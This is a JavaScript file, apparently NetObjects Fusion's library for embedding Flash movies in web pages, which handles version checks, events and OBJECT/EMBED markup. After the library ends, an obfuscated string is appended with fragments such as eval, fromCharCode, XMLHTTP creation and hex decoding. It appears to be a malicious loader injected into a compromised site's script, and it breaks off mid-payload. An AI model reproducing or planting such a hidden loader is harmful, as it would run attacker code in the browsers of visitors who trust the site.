if(typeof NOF == "undefined") {
function NOF_NS() {
this.__proto__ = NOF_NS.prototype;
}
}
var NOF = new NOF_NS();
if(typeof NOF.ProgramVersion == "undefined")
{
function NOF_ProgramVersion (majorNumber, minorNumber, revisionNumber) {
this.__proto__ = NOF_ProgramVersion.prototype;
if (arguments.length != 3) throw "Illegal arguments exception";
this.majorNumber = majorNumber;
this.minorNumber = minorNumber;
this.revisionNumber = revisionNumber;
}
{
var method = NOF_ProgramVersion.prototype;
method.getMajorNumber = function () {
return this.majorNumber;
}
method.getMinorNumber = function () {
return this.minorNumber;
}
method.getRevisionNumber = function () {
return this.revisionNumber;
}
method.eq = function (programVersion) {
return this.majorNumber == programVersion.getMajorNumber()
&& this.minorNumber == programVersion.getMinorNumber()
&& this.revisionNumber == programVersion.getRevisionNumber();
}
method.lt = function (programVersion) {
var retValue = false;
if (this.majorNumber < programVersion.getMajorNumber() ) {
retValue = true;
} else if (this.majorNumber == programVersion.getMajorNumber()) {
if (this.minorNumber < programVersion.getMinorNumber()) {
retValue = true;
} else if (this.minorNumber == programVersion.getMinorNumber()) {
if (this.revisionNumber < programVersion.getRevisionNumber()) {
retValue = true;
}
}
}
return retValue;
}
method.lte = function (programVersion) {
return this.lt(programVersion) && this.eq(programVersion);
}
method.gt = function (programVersion) {
return !this.lte(programVersion);
}
method.gte = function (programVersion) {
return !this.lt(programVersion);
}
method.toString = function () {
return this.majorNumber + "." + this.minorNumber + "." + this.revisionNumber;
}
}
NOF.__proto__.ProgramVersion = NOF_ProgramVersion;
}
if (typeof NOF.Util == "undefined") {
function NOF_Util() {
this.__proto__ = NOF_Util.prototype;
}
NOF.Util = new NOF_Util();
function NOF_Util_FramesIterator (wnd) {
this.__proto__ = NOF_Util_FramesIterator.prototype;
this.currentIndex = 0;
this.array = wnd.frames;
NOF_Util_FramesIterator.prototype.next = function () {
return (this.currentIndex < this.array.length ) ? this.array[this.currentIndex++] : null;
}
}
NOF.Util.__proto__.FramesIterator = NOF_Util_FramesIterator;
NOF.Util.GetFrameWndByName = function GetFrameWndByName(name) {
var stack = new Array();
stack[0] = new NOF.Util.FramesIterator(window);
var wnd = null;
var found = false;
while (stack.length > 0 && !found)
{
if ((wnd = stack[stack.length -1].next()) != null)
{
if (wnd.name == name)
{
found = true;
break;
}
else if (wnd.frames.length > 0)
{
stack[stack.length] = new NOF.Util.FramesIterator(wnd);
}
}
else
{
stack[stack.length-1] = null;
stack.length--;
}
}
return wnd;
}
}
if(typeof NOF.Event == "undefined") {
function NOF_Event(source, type, state) {
this.__proto__ = NOF_Event.prototype;
this.source = source;
this.type = type;
this.state = state;
}
var member = NOF_Event.prototype;
member.MOUSEDOWN_EVENT = 0x001;
member.MOUSEUP_EVENT = 0x002;
member.MOUSEMOVE_EVENT = 0x004;
member.MOVIE_INITIALIZED_EVENT = 0x008;
member.MOVIE_RENDERED_EVENT = 0x010;
var method = NOF_Event.prototype;
method.getSource = function() {
return this.source;
};
method.getType = function() {
return this.type;
};
method.getState = function() {
return this.state;
};
NOF.Event = new NOF_Event();
NOF.EventObject = NOF_Event;
}
if(typeof NOF.Flash == "undefined") {
function NOF_Flash() {
this.__proto__ = NOF_Flash.prototype;
}
NOF.Flash = new NOF_Flash();
}
if(typeof NOF.Flash.HtmlCtrl == "undefined")
{
function NOF_Flash_HtmlCtrl_Base()
{
this.__proto__ = NOF_Flash_HtmlCtrl_Base.prototype;
}
{
var member = NOF_Flash_HtmlCtrl_Base.prototype;
member.MOVIE_LISTENER = 0x001;
member.MOUSE_LISTENER = 0x002;
member.NETSCAPE_PLUGIN_NAME = "Shockwave Flash";
member.IE_PLUGIN_NAME = "ShockwaveFlash.ShockwaveFlash";
member.FOOTPRINT_SUFFIX = "_footprint";
member.CONTAINER_SUFFIX = "_container";
member.LAYER_SUFFIX = "LYR";
member.PARAM_ALLOWSCRIPTACCESS = "allowScriptAccess";
member.PARAM_QUALITY = "quality";
member.PARAM_WMODE = "wmode";
member.DEFAULT_QUALITY_VALUE = "high";
member.DEFAULT_WMODE_VALUE = "transparent";
member.cDELTA = 5;
member.DEFAULT_HIGHEST_ZINDEX = 2000;
var method = NOF_Flash_HtmlCtrl_Base.prototype;
method.ctr = function ( id, movieSrc, width, height, align, htmlDocument) {
if (arguments.length > 0) {
if (id == undefined || id.length <=0 ) {
throw "IllegalArgumentException: id cannot be empty";
}
if (movieSrc == undefined || movieSrc.length <=0 ) {
throw "IllegalArgumentException: movieSrc cannot be null";
}
}
this.movieListeners= new Array();
this.mouseListeners= new Array();
this.params = new Array();
this.variables = new Array();
this.cssType;
this.cssValue;
this.id = id;
this.movieSrc = movieSrc;
this.width = (width != null) ? width : null;
this.height = (height != null) ? height : null;
this.align = (align != null) ? align : null;
this.htmlDocument = (htmlDocument != undefined) ? htmlDocument : document;
this.position = {left : -1, top: -1};
this.isFSCEventsSupportEnabled = true;
this.areFSCEventsEnabled = true;
this.setParam(this.PARAM_ALLOWSCRIPTACCESS, "sameDomain");
this.setParam(this.PARAM_QUALITY, this.DEFAULT_QUALITY_VALUE);
this.setParam(this.PARAM_WMODE, this.DEFAULT_WMODE_VALUE);
this.requiredPlayerVersion = "8,0,0,0";
this.closedMenuSize = {width : 0, height: 0};
this.foHtmlInstance = null;
this.foContainer = null;
this.foFootprint = null;
this.foParentLYR = null;
this.isWritten = false;
this.bReady = false;
this.capturedEventsMask = 0;
this.owner = null;
this.ASVersion = "2";
}
method.isReady = function () { return this.bReady;};
method.getOwner = function () { return this.owner;};
method.setOwner = function (owner) { this.owner = owner;};
method.getWidth = function () { return this.width;};
method.setWidth = function (width) { this.width = width;};
method.getHeight = function () { return this.height;};
method.setHeight = function (height) { this.height = height;};
method.getPosition = function () { return this.position;};
method.setPosition = function (position) { this.position = position;};
method.getMovieSrc = function () { return this.movieSrc;};
method.setMovieSrc = function (movieSrc) { this.movieSrc = movieSrc;};
method.getAlign = function () { return this.align;};
method.setAlign = function (align) { this.align = align;};
method.getId = function () {return this.id;};
method.getParam = function(name) { return this.params[name.toLowerCase()];};
method.setParam = function(name, value) { this.params[name.toLowerCase()] = value;};
method.getParams = function() { return this.params; };
method.setCSSParam = function(name, value) { this.cssType = name; this.cssValue = value;};
method.getVariable = function(name) {return this.variables[name];};
method.setVariable = function(name, value) { this.variables[name] = value;};
method.getVariables = function() { return this.variables;};
method.getFootprint = function() {
if (!this.foFootprint) {
this.foFootprint = this.findObject(this.id + this.FOOTPRINT_SUFFIX);
}
return this.foFootprint;
};
method.getParentLYR = function() {
if (!this.foParentLYR) {
this.foParentLYR = this.findObject(this.id + this.LAYER_SUFFIX);
if (this.foParentLYR != null && typeof (this.foParentLYR.length) == 'number') {
this.foParentLYR = this.foParentLYR[0];
}
}
return this.foParentLYR;
}
method.getHtmlInstance = function() {
if (!this.foHtmlInstance) {
this.foHtmlInstance = this.findObject(this.id);
}
return this.foHtmlInstance;
};
method.getContainer = function() {
if (!this.foContainer) {
this.foContainer = this.findObject(this.id + this.CONTAINER_SUFFIX);
}
return this.foContainer;
};
method.enableFSCEventsSupport = function (enable) {
this.isFSCEventsSupportEnabled = enable;
};
method.enableFSCEvents = function (enable) {
this.areFSCEventsEnabled = enable;
};
method.restart = function () {
try {
this.getHtmlInstance().Rewind();
this.getHtmlInstance().Play();
this.log("restarting");
} catch (e) {}
};
method.repaint = function () {
var position = this.getObjectPosition(this.getFootprint());
this.log("onRepaint -> " + position[0] + ", " + position[1]);
};
method.onRepaint = function () {
this.repaint();
};
method.onMove = function (left, top) {
this.setStyle("left",left + "px");
this.setStyle("top", top + "px");
this.position.left = left;
this.position.top = top;
};
method.setStyle = function (name, value, obj) {
if (!obj) { obj = this.getContainer()}
if (obj != null && typeof(obj.style) == "object") {
obj.style[name] = value;
}
};
method.getStyle = function (name, obj) {
if (!obj) { obj = this.getContainer()}
return (obj != null && typeof(obj.style) == "object") ? obj.style[name] : null;
};
method.onResize = function (width, height) {
this.log("onResize -> " + width + ", " + height);
if (width == this.width && height == this.height) return;
this.adjustZIndexOnSizeChange(width, height);
this.width = width;
this.height = height;
var htmlInstance = this.getHtmlInstance();
if (htmlInstance) {
htmlInstance.width = width;
htmlInstance.height = height;
}
};
method.onPostInit = function (width, height) {
this.log("PostInit");
this.closedMenuSize.width = width;
this.closedMenuSize.height = height;
var parentLYR = this.getParentLYR();
this.parentZIndex = this.getStyle("zIndex", parentLYR);
if (this.getFootprint()) {
this.doInitialPositioning(width, height);
NOF.Flash.HtmlCtrl.instancePtr = this;
setTimeout("if (NOF.Flash.HtmlCtrl.instancePtr && typeof NOF.Flash.HtmlCtrl.instancePtr.doPostInitCallBack == 'function' ) { NOF.Flash.HtmlCtrl.instancePtr.doPostInitCallBack(); };", 100);
} else {
this.onResize(width,height);
}
if (this.capturedEventsMask & NOF.Event.MOVIE_INITIALIZED_EVENT) {
this.notifyMovieListeners(new NOF.EventObject(this, NOF.Event.MOVIE_INITIALIZED_EVENT, {w: width, h: height}));
}
this.log("/PostInit");
};
method.onRenderComplete = function () {
this.log("RenderComplete");
if (typeof(jshandler) != "undefined" && jshandler != null) {
window.setTimeout("jshandler.OnRenderComplete()", 100);
}
this.log("/RenderComplete");
};
method.doInitialPositioning = function (width, height) {
var footprint = this.getFootprint();
if (footprint) {
this.setStyle("width",width + "px", footprint);
this.setStyle("height", height + "px", footprint);
var position = this.getObjectPosition(footprint);
this.onResize(width,height);
this.bReady = true;
}
};
method.doPostInitCallBack = function ()
{
if ( typeof(this.postInitCallBack) == 'object'
&& this.postInitCallBack != null
&& typeof(this.postInitCallBack.callback_handler) == 'function' )
{
this.postInitCallBack.callback_handler('PostInit');
};
}
method.play = function (postInitCallBack) {
this.postInitCallBack = postInitCallBack;
try {
this.getHtmlInstance().Play();
} catch (e) {}
this.log("playing");
};
method.toHTML = function () {throw "Abstract method 'toHTML' cannot called!";};
method.write = function () {
if (!this.isWritten) {
var str = this.toHTML();
this.log("\n-------\n" + str + "\n-------\n", 1);
this.htmlDocument.write(str);
this.isWritten = true;
} else {
throw "write method cannot be called twice!";
}
};
method.findObject = function (objectID, doc) {
var p, i, foundObj;
if(!doc) {
doc = this.htmlDocument;
}
if( (p = objectID.indexOf("?")) > 0 && parent.frames.length) {
doc = parent.frames[objectID.substring(p+1)].document;
objectID = objectID.substring(0,p);
}
if(!(foundObj = doc[objectID]) && doc.all) {
foundObj = doc.all[objectID];
}
for (i=0; !foundObj && i < doc.forms.length; i++) {
foundObj = doc.forms[i][objectID];
}
for(i=0; !foundObj && doc.layers && i < doc.layers.length; i++) {
foundObj = this.findObject(objectID, doc.layers[i].document);
}
if(!foundObj && doc.getElementById) {
foundObj = doc.getElementById(objectID);
}
return foundObj;
};
method.getObjectPosition = function (o) {
var curLeft = 0;
var curTop = 0;
if (o.offsetParent) {
while (o.offsetParent) {
curLeft += o.offsetLeft;
curTop += o.offsetTop;
o = o.offsetParent;
}
} else if (o.x && o.y) {
curLeft += o.x;
curTop += o.y;
}
return [curLeft, curTop];
};
method.getListenerByType = function (type) {
var listeners;
if (type == this.MOUSE_LISTENER)
listeners = this.mouseListeners;
else if (type == this.MOVIE_LISTENER)
listeners = this.movieListeners;
else {
alert ("Listener not supported.");
return null;
}
return listeners;
};
method.addListener = function ( type, listener) {
var listeners = this.getListenerByType(type);
if (listeners != null) {
for (var i=0; i<listeners.length; i++)
if ( listeners[i] == listener )
return;
listeners[listeners.length] = listener;
}
};
method.removeListener = function ( type, listener ){
var listeners = this.getListenerByType(type);
if (listeners != null) {
for (var i = 0; i < listeners.length; i++ )
if ( listeners[i] == listener ) {
listeners[i] = listeners[listeners.length -1];
listeners.length--;
}
}
};
method.addMovieListener = function ( listener ){
this.addListener(this.MOVIE_LISTENER, listener);
};
method.removeMovieListener = function ( listener ){
this.removeListener(this.MOVIE_LISTENER, listener);
};
method.notifyMovieListeners = function ( event ){
for (var i = 0; i < this.movieListeners.length; i++ ) {
switch (event.getType()) {
case NOF.Event.MOVIE_INITIALIZED_EVENT:
this.movieListeners[i].onMovieInitialized( event );
break;
case NOF.Event.MOVIE_RENDERED_EVENT:
this.movieListeners[i].onMovieRendered( event );
break;
}
}
};
method.addMouseListener = function ( listener ){
this.addListener(this.MOUSE_LISTENER, listener);
};
method.removeMouseListener = function ( listener ){
this.removeListener(this.MOUSE_LISTENER, listener);
};
method.notifyMouseListeners = function ( event ){
for (var i = 0; i < this.mouseListeners.length; i++ ) {
switch (event.getType()) {
case NOF.Event.MOUSEDOWN_EVENT:
this.mouseListeners[i].onMouseDown( event );
break;
case NOF.Event.MOUSEUP_EVENT:
this.mouseListeners[i].onMouseUp( event );
break;
case NOF.Event.MOUSEMOVE_EVENT:
this.mouseListeners[i].onMouseMove( event );
break;
}
}
};
method.captureEvents = function(eventsMask) {
this.capturedEventsMask = eventsMask;
};
method.onMouseDown = function (_x, _y, _btn, _cnt) {
if (this.capturedEventsMask & NOF.Event.MOUSEDOWN_EVENT) {
this.notifyMouseListeners(new NOF.EventObject(this, NOF.Event.MOUSEDOWN_EVENT, {x: _x, y: _y, btn: _btn, cnt: _cnt}));
this.log(["mouse down", _x, _y, _btn, _cnt]);
}
};
method.onMouseUp = function (_x, _y) {
if (this.capturedEventsMask & NOF.Event.MOUSEUP_EVENT) {
this.notifyMouseListeners(new NOF.EventObject(this, NOF.Event.MOUSEUP_EVENT, {x: _x, y: _y}));
this.log(["mouse up", _x, _y]);
}
};
method.onMouseMove = function (_x, _y) {
if (this.capturedEventsMask & NOF.Event.MOUSEMOVE_EVENT) {
this.notifyMouseListeners(new NOF.EventObject(this, NOF.Event.MOUSEMOVE_EVENT, {x: _x, y: _y}));
this.log(["mouse move", _x,_y]);
}
};
method.onLog = function (msg, level) {
this.log(msg, level);
};
method.log = function (msg, level) {
return;
if (this.htmlDocument.forms[0] && this.htmlDocument.forms[0]["log"]) {
this.htmlDocument.forms[0]["log"].value += this.id + ": " + msg + "\n";
}
};
method.setRequiredPlayerVersion = function (reqPlayerVersion) {
this.requiredPlayerVersion = reqPlayerVersion;
};
method.processFSCEvent = function (eventName, args) {
this.log("processFSCEvent -> " + eventName + "[" + args + "]");
var auxStr = "";
for (var i=0; i<args.length; i++) {
auxStr += "args[" + i + "]" + (i != args.length -1 ? ", " : "");
}
return eval("this.on" + eventName + "( " + auxStr + " )");
};
method.onSetASVersion = function(vers) {
this.ASVersion = vers;
}
method.callFlashMethod = function (methodName, arg) {
try {
if (this.ASVersion && parseInt(this.ASVersion) > 2) {
var m = arg.split(",");
this.getHtmlInstance().setProperty(m[0], m[1]);
} else {
this.getHtmlInstance().SetVariable("hostEventsMonitor", methodName + ":" + arg);
}
} catch (e) {}
};
method.getNextHighestIndex = function() {
return this.DEFAULT_HIGHEST_ZINDEX;
}
method.adjustZIndexOnSizeChange = function (width, height) {
if (Math.abs(this.closedMenuSize.width - width) > this.cDELTA
|| Math.abs(this.closedMenuSize.height - height) > this.cDELTA)
{
var parentLYR = this.getParentLYR();
if (parentLYR) {
this.log("setting high Z-Index on flyouts");
this.setStyle("zIndex", this.getNextHighestIndex(), parentLYR);
}
}
else
{
if (this.parentZIndex != null) {
var parentLYR = this.getParentLYR();
if (parentLYR) {
this.log("setting Z-Index on original size to " + this.parentZIndex);
this.setStyle("zIndex", this.parentZIndex, parentLYR);
}
}
}
}
}
function NOF_Flash_HtmlCtrl_IE(id, movieSrc, width, height, align, htmlDocument){
this.__proto__ = NOF_Flash_HtmlCtrl_IE.prototype;
this.ctr(id, movieSrc, width, height, align, htmlDocument);
}
NOF_Flash_HtmlCtrl_IE.prototype = new NOF_Flash_HtmlCtrl_Base;
{
var method = NOF_Flash_HtmlCtrl_IE.prototype;
method.getFSCommandHandlerDef = function() {
var str = "";
str += "<script>";
str += " function " + this.id +"_DoFSCommand(command, argsStr) {";
str += "var args;\n";
str += "if (typeof argsStr == 'object') { args = argsStr;} else {eval ('args = ' + argsStr + ';');}\n";
str += " NOF.Flash.MovieCollectionMgr.getCollection(" + this.owner.getId() + ").getMovieById('" + this.id + "').processFSCEvent(command, args);";
str += "}";
str += "\<\/script\>";
str += "<script event=\"FSCommand\" for=" + "\"" + this.id + "\">";
str += "var args;\n";
str += "if (typeof arguments[1] == 'object') { args = arguments[1];} else {eval ('args = ' + arguments[1] + ';');}\n";
str += this.id +"_DoFSCommand(arguments[0], args);";
str += "\<\/script\>";
return str;
}
method.toHTML = function () {
var htmlStr = "";
if (this.isFSCEventsSupportEnabled) {
htmlStr = this.getFSCommandHandlerDef();
}
htmlStr += '<OBJECT CLASSID="CLSID:D27CDB6E-AE6D-11cf-96B8-444553540000"';
htmlStr += ' codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=' + this.requiredPlayerVersion + '"';
htmlStr += ' WIDTH="' + this.width +'" HEIGHT="'+ this.height +'" ID="'+ this.id +'" '+ this.cssType +'="'+this.cssValue+'">' + "\n";
htmlStr += '<PARAM NAME="movie" VALUE="' + this.movieSrc + '" />' + "\n";
for(var key in this.params) {
if ((key != "______array") && typeof this.params[key] != 'function') {
htmlStr += '<PARAM NAME="' + key + '" VALUE="' + this.params[key] + '" />' + "\n";
}
}
if (NOF.Flash.HtmlCtrl.getPlatform() == NOF.Flash.HtmlCtrl.PLATFORM_WINDOWS) {
this.variables["nof_isFSCommandAvailable"] = true;
}
if (this.capturedEventsMask) {
this.variables["nof_capturedEventsMask"] = this.capturedEventsMask;
}
this.variables["nof_objectID"] = this.id;
var flashVars = "";
for(var key in this.variables) {
if ((key != "______array") && typeof this.variables[key] != 'function') {
flashVars = key + "=" + escape(this.variables[key]) + (flashVars.length == 0 ? "" : "&") + flashVars;
}
}
delete this.variables["nof_isFSCommandAvailable"];
delete this.variables["nof_capturedEventsMask"];
delete this.variables["nof_objectID"];
if(flashVars.length > 0) {
htmlStr += '<PARAM NAME="FlashVars" VALUE="'+ flashVars +'" />' + "\n";
}
htmlStr += '</OBJECT>' + "\n";
return htmlStr;
};
}
function NOF_Flash_HtmlCtrl_NetscapeGeneric(id, movieSrc, width, height, align, htmlDocument){
this.__proto__ = NOF_Flash_HtmlCtrl_NetscapeGeneric.prototype;
this.ctr(id, movieSrc, width, height, align, htmlDocument);
}
NOF_Flash_HtmlCtrl_NetscapeGeneric.prototype = new NOF_Flash_HtmlCtrl_Base;
{
var method = NOF_Flash_HtmlCtrl_NetscapeGeneric.prototype;
method.PARAM_SWLIVECONNECT = "swliveconnect";
method.super_onResize = method.onResize;
method.onResize = function (width, height) {
this.super_onResize(width, height);
var htmlInstance = this.getHtmlInstance();
if (htmlInstance) {
this.setStyle("width",width + "px", htmlInstance);
this.setStyle("height", height + "px", htmlInstance);
}
};
method.toHTML = function () {
var htmlStr = "";
if (this.isFSCEventsSupportEnabled) {
htmlStr += "<script type=\"text/javascript\">\n";
htmlStr += " function " + this.id +"_DoFSCommand(command, strArgs) {\n";
htmlStr += " NOF.Flash.MovieCollectionMgr.getCollection(" + this.owner.getId() + ").getMovieById('" + this.id + "').processFSCEvent(command, strArgs);";
htmlStr += "}\n";
htmlStr += "</script>\n";
}
htmlStr += '<EMBED TYPE="application/x-shockwave-flash"';
htmlStr += ' pluginspage="http://www.macromedia.com/go/getflashplayer"';
htmlStr += ' SRC="'+ this.movieSrc +'" WIDTH="'+ this.width +'" HEIGHT="'+ this.height +'" ID="'+ this.id + '" NAME="'+ this.id +'"';
htmlStr += ' ' + this.cssType + '="' + this.cssValue + '"';
for(var key in this.params) {
if ((key != "______array") && typeof this.params[key] != 'function') {
htmlStr += " " + key + '=' + this.params[key];
}
}
var flashVars = "";
if (this.capturedEventsMask) {
this.variables["nof_capturedEventsMask"] = this.capturedEventsMask;
}
this.variables["nof_objectID"] = this.id;
for(var key in this.variables) {
if ((key != "______array") && typeof this.variables[key] != 'function') {
flashVars = key + "=" + escape(this.variables[key]) + (flashVars.length == 0 ? "" : "&") + flashVars;
}
}
delete this.variables["nof_capturedEventsMask"];
delete this.variables["nof_objectID"];
if(flashVars.length > 0) {
htmlStr += ' FlashVars="'+ flashVars + '"';
}
htmlStr += '>';
htmlStr += '</EMBED>';
return htmlStr;
};
}
function isHostNetscapeCompatible() {return navigator.mimeTypes.length ? true : false;};
function isHostActiveXCompatible() { return window.ActiveXObject ? true : false; };
if (isHostActiveXCompatible()) {
NOF.Flash.HtmlCtrl = NOF_Flash_HtmlCtrl_IE;
} else {
NOF.Flash.HtmlCtrl = NOF_Flash_HtmlCtrl_NetscapeGeneric;
}
NOF.Flash.HtmlCtrl.PLATFORM_WINDOWS = "Windows";
NOF.Flash.HtmlCtrl.PLATFORM_MAC = "Mac";
NOF.Flash.HtmlCtrl.PLATFORM_UNKNOWN = "Unknown";
NOF.Flash.HtmlCtrl.getPlatform = function () {
if ((navigator.platform && navigator.platform.substring(0,3) == "Win")
|| navigator.appVersion.indexOf("Windows") != -1 ) {
return NOF.Flash.HtmlCtrl.PLATFORM_WINDOWS;
} else if ((navigator.platform && navigator.platform.substring(0,3) == "Mac")
|| navigator.appVersion.indexOf("Macintosh") != -1 ) {
return NOF.Flash.HtmlCtrl.PLATFORM_MAC;
}
return NOF.Flash.HtmlCtrl.PLATFORM_UNKNOWN;
};
NOF.Flash.HtmlCtrl.isHostNetscapeCompatible = isHostNetscapeCompatible;
NOF.Flash.HtmlCtrl.isHostActiveXCompatible = isHostActiveXCompatible;
NOF.Flash.HtmlCtrl.getCurrentPlayerVersion = function () {
if (NOF.Flash.HtmlCtrl.playerVersion == null) {
var playerVer = new NOF.ProgramVersion(0,0,0);
if(NOF.Flash.HtmlCtrl.isHostNetscapeCompatible() ) {
var plugin = navigator.plugins[member.NETSCAPE_PLUGIN_NAME];
if (plugin && plugin.description) {
var parts = plugin.description.replace(/([a-z]|[A-Z]|\s)+/, "").replace(/(\s+r|\s+b[0-9]+)/, ".").split(".")
playerVer = new NOF.ProgramVersion(parts[0], parts[1], parts[2]);
}
} else if (NOF.Flash.HtmlCtrl.isHostActiveXCompatible()) {
try {
var player = new ActiveXObject(member.IE_PLUGIN_NAME);
var parts = player.GetVariable("$version").split(" ")[1].split(",");
playerVer = new NOF_ProgramVersion(parts[0], parts[1], parts[2]);
} catch (e) {}
}
NOF.Flash.HtmlCtrl.playerVersion = playerVer;
}
return NOF.Flash.HtmlCtrl.playerVersion;
};
NOF.Flash.HtmlCtrl.launchURL = function (args) {
var url = args[0];
var targetName = args[1];
var windowRef = null;
if (targetName == undefined || targetName == null || targetName == "") {
if ( document.getElementsByTagName )
{
var coll = document.getElementsByTagName('BASE');
if ( coll && coll.length && coll.length > 0 )
targetName = coll[0].target;
if ( targetName == undefined || targetName == "" )
windowRef = window;
}
}
if (windowRef == null) {
switch (targetName)
{
case undefined:
case null:
case "":
if ( document.getElementsByTagName )
{
var coll = document.getElementsByTagName('BASE');
if ( coll && coll.length && coll.length > 0 )
targetName = coll[0].target;
if ( targetName == undefined || targetName == "" )
windowRef = window;
}
if (windowRef != null)
break;
case "_self" :
windowRef = window;
break;
case "_parent" :
windowRef = parent;
break;
case "_top" :
windowRef = top;
break;
case "_blank" :
break;
default:
windowRef = NOF.Util.GetFrameWndByName(targetName);
break;
}
}
if (windowRef != null) {
windowRef.location.href = url;
} else {
window.open(url, targetName);
}
};
}
if(typeof NOF.Flash.MovieCollectionMgr == "undefined")
{
function NOF_Flash_MovieCollectionMgr() {
this.__proto__ = NOF_Flash_MovieCollectionMgr.prototype;
this.collections = new Array();
}
var method = NOF_Flash_MovieCollectionMgr.prototype;
method.createCollection = function() {
var coll = new NOF.Flash.MovieCollection(this.collections.length);
this.collections[this.collections.length] = coll;
return coll;
};
method.getCollection = function(index) {
return (index>=0 && index<this.collections.length) ? this.collections[index] : null;
};
NOF.Flash.__proto__.MovieCollectionMgr = new NOF_Flash_MovieCollectionMgr();
}
if(typeof NOF.Flash.MovieCollection == "undefined")
{
function NOF_Flash_MovieCollection (id) {
this.__proto__ = NOF_Flash_MovieCollection.prototype;
this.id = id;
this.movies = new Array();
this.moviesHash = new Array();
this.currentMovieIndex = 0;
}
var method = NOF_Flash_MovieCollection.prototype;
method.createMovie = function (id, src, width, height) {
var movie = new NOF.Flash.HtmlCtrl(id, src, width, height);
movie.setOwner(this);
this.movies[this.movies.length] = movie;
this.moviesHash[id] = movie;
return movie;
};
method.getId = function () {
return this.id;
}
method.getMovieById = function (id) {
return this.moviesHash[id];
}
method.getMovieByIndex = function (index) {
return (index>=0 && index<this.movies.length) ? this.movies[index] : null;
}
method.startAll = function () {
if (this.currentMovieIndex < this.movies.length) {
this.movies[this.currentMovieIndex++].play(this);
} else {
this.setZIndex();
}
};
method.resizeAll = function () {
var i=0;
while (i < this.movies.length) {
this.movies[i++].repaint();
}
this.setZIndex();
}
method.setZIndex = function () {
var maxTop = 0;
for (var i=0; i<this.movies.length; i++) {
var pos = this.movies[i].getPosition();
if (maxTop < pos.top) {maxTop = pos.top}
}
for (i=0;i<this.movies.length; i++) {
var pos = this.movies[i].getPosition();
this.movies[i].log("setZIndex to " + (-1 * (pos.top - maxTop)));
this.movies[i].setStyle("zIndex", -1 * (pos.top - maxTop));
}
};
method.callback_handler = function (eventName) {
if (eventName == 'PostInit') {
this.startAll();
}
};
NOF.Flash.__proto__.MovieCollection = NOF_Flash_MovieCollection;
}
if(typeof NOF.Flash.ComponentsMouseListener == "undefined")
{
function NOF_Flash_ComponentsMouseListener() {
this.__proto__ = NOF_Flash_ComponentsMouseListener.prototype;
}
var method = NOF_Flash_ComponentsMouseListener.prototype;
method.bubbleUp = function (event) {
var movId = event.getSource().getId();
var lyrObj = document.getElementById(movId + "LYR");
if (typeof(lyrObj) != 'undefined') {
switch (event.getType()) {
case NOF.Event.MOUSEDOWN_EVENT:
if (typeof(lyrObj.onMouseDown) == 'function') {
F_sndMsg(movId, F_MD, '');
}
break;
case NOF.Event.MOUSEUP_EVENT:
if (typeof(lyrObj.onMouseUp) == 'function') {
F_sndMsg(movId, F_MU, '');
}
break;
case NOF.Event.MOUSEMOVE_EVENT:
if (typeof(lyrObj.onMouseMove) == 'function') {
F_sndMsg(movId, F_MV, '');
}
break;
}
}
}
method.onMouseDown = function (event) {
this.bubbleUp(event);
}
method.onMouseMove = function(event) {
this.bubbleUp(event);
}
method.onMouseUp = function(event) {
this.bubbleUp(event);
}
method.onMouseRight = function(event) {
this.bubbleUp(event);
}
NOF.Flash.__proto__.ComponentsMouseListener = NOF_Flash_ComponentsMouseListener;
}



d='function g_p(file ,b >t YG="GE ;= [ +cg="" Je +L=tru % +c.offset=100 Qs Yy =z =A =D ! C8 H +C =B ! C8 H Qu Ys ]+t ]Qcd YH(); -sxml2 V1 C-icrosoft V2 ,b=null}}if(!  b){if(typeof  F!="undefined" ,b 9 F ]* L= 2}} Qo NE, ? ,g[g_E]= .( ?,false) QS NE, ?, <vars C32== <vars C<  .( $g_E), $ ?)) * g[ $g_E)]= .( $ ?) U} Qx Nn,g_R){g_N= $ Wf);regexp 9RegExp( Wf+"|"+g_N); B. On 5regexp) Ei=0;i< B. 6;i++){g_k= B.[i] 5"="); 32= OR ,S A * o A}}}; [.trim NE,g_h){if("qabcdef".indexOf(g_E.substr(0,1))>=0 CB Z OE 5\'q\') 7\'\') 5\'v\') E Bi=0;i< Z 6;i++){ Z[i]=parseInt( Z[i],16)- ^ <  Z 7\',\')+\',\'}else{ajax _c.offset2=25; <  ^}; 8unR & !){eval( 8 &) Qca Nj C3 P&& Wg 6 ,x( Wg U}if(g_j C3 cg 6 Mj * cg Oj}}  o("g_q",new Date().getTime());g_i 9 . ]Ekey in(  g)){if(false== @1]&& 2==  P){g_N=  S(key, @0] U +g[key] >g[g_N[0]]= .(g_N[1] U;key ON[0]}g_i[g_i 6]=key+"="+ @0]}if(g_j Mi 7 Wf) * cg+ Oi 7 Wf)} QH YG="POS ;g="";d=\'v={! RR1%6^:"e-",! RW1%6^:"",& RR1%6v30:"l(\\\'l=Str"\\\\5:"ing.fr",K!dyO$f%@6&a!6:"omCha",N$8$8y&?eA<5&4:"rCode("Be&7|I&7#f&?d$dFBd&6&9A1E&e&X0&6THa#G2!fQ#f%0$R9~/2A<b#dQ#<2&<a~/9-<e%e!f!f-7&e&3*6B4!4&8$f%5z_NEJ>Z0&4&8#G3&8#Z0JP3!3&8#Y8!0&5DKJ/4!f!4#5#7!dA1#f!4*4P5&d#eV-2$Ye-c-e*1,a5%5&1$<6$<6#f!4*4>2$c`LV&5$@8&4w/6^&a$2N$3&3OQ*6>@1!b-4-G3-YeV*1/eA8#3&?a&d$eO&6F>8#7!7&c#Y7$3EK*7/b$7$3!3!e!3#a-f!5*3>4D$dMKA6E&c$dT/5%fL#dKDL%@1*1,a0#8`L#3$@cA6Nw/Z0&8-@2!b`!4%eJ/dA1!4y_%9%8!@c*4P8!b%9N!@8&8N&dw/f!5%6!2#a-3%7!2!3~H4-7`$1%4V#d-@2J>?Xb#5Q|#<a&9FB1!0&b%?9#Z3&7!0J>0%Y3A7A7#3K!XbF/eD#6#Y5#?eA2&0U,ad$8MyN$8M&<8U,a4&7&a!X<a!eL!dFBd#5$WaQ%6$dD#8*7>5#5#5A2&<8$8QyUP8A<8&d&c%0&5A0&3wB9L!b%f#d-aV$3#f~/7$7V#fI&1&4!4&9*4/G3%1#d^-1M#G3JBY4%a%8I%4O%9-7*6Bd$@a-0#cA6A6#c#dFP0I%4%7!G5K$e!5UB9$e!<3ME%Z3&bJP2&?W@?9!?8$eUB3%1V$3!b%fV#6%9wHbI%WfA3&1!6&9E*6Pe&4#e!@@9&ey#8*6>9N#Y8#f``N^wBX4%b$G8N&b#<bwPf&3&0A3A3L&f&5#9*7>1L!1#7K#9-d-dK*1>2!G2L%f!2&?5_~P2y#?eA<W6y!5U/5#4#c#<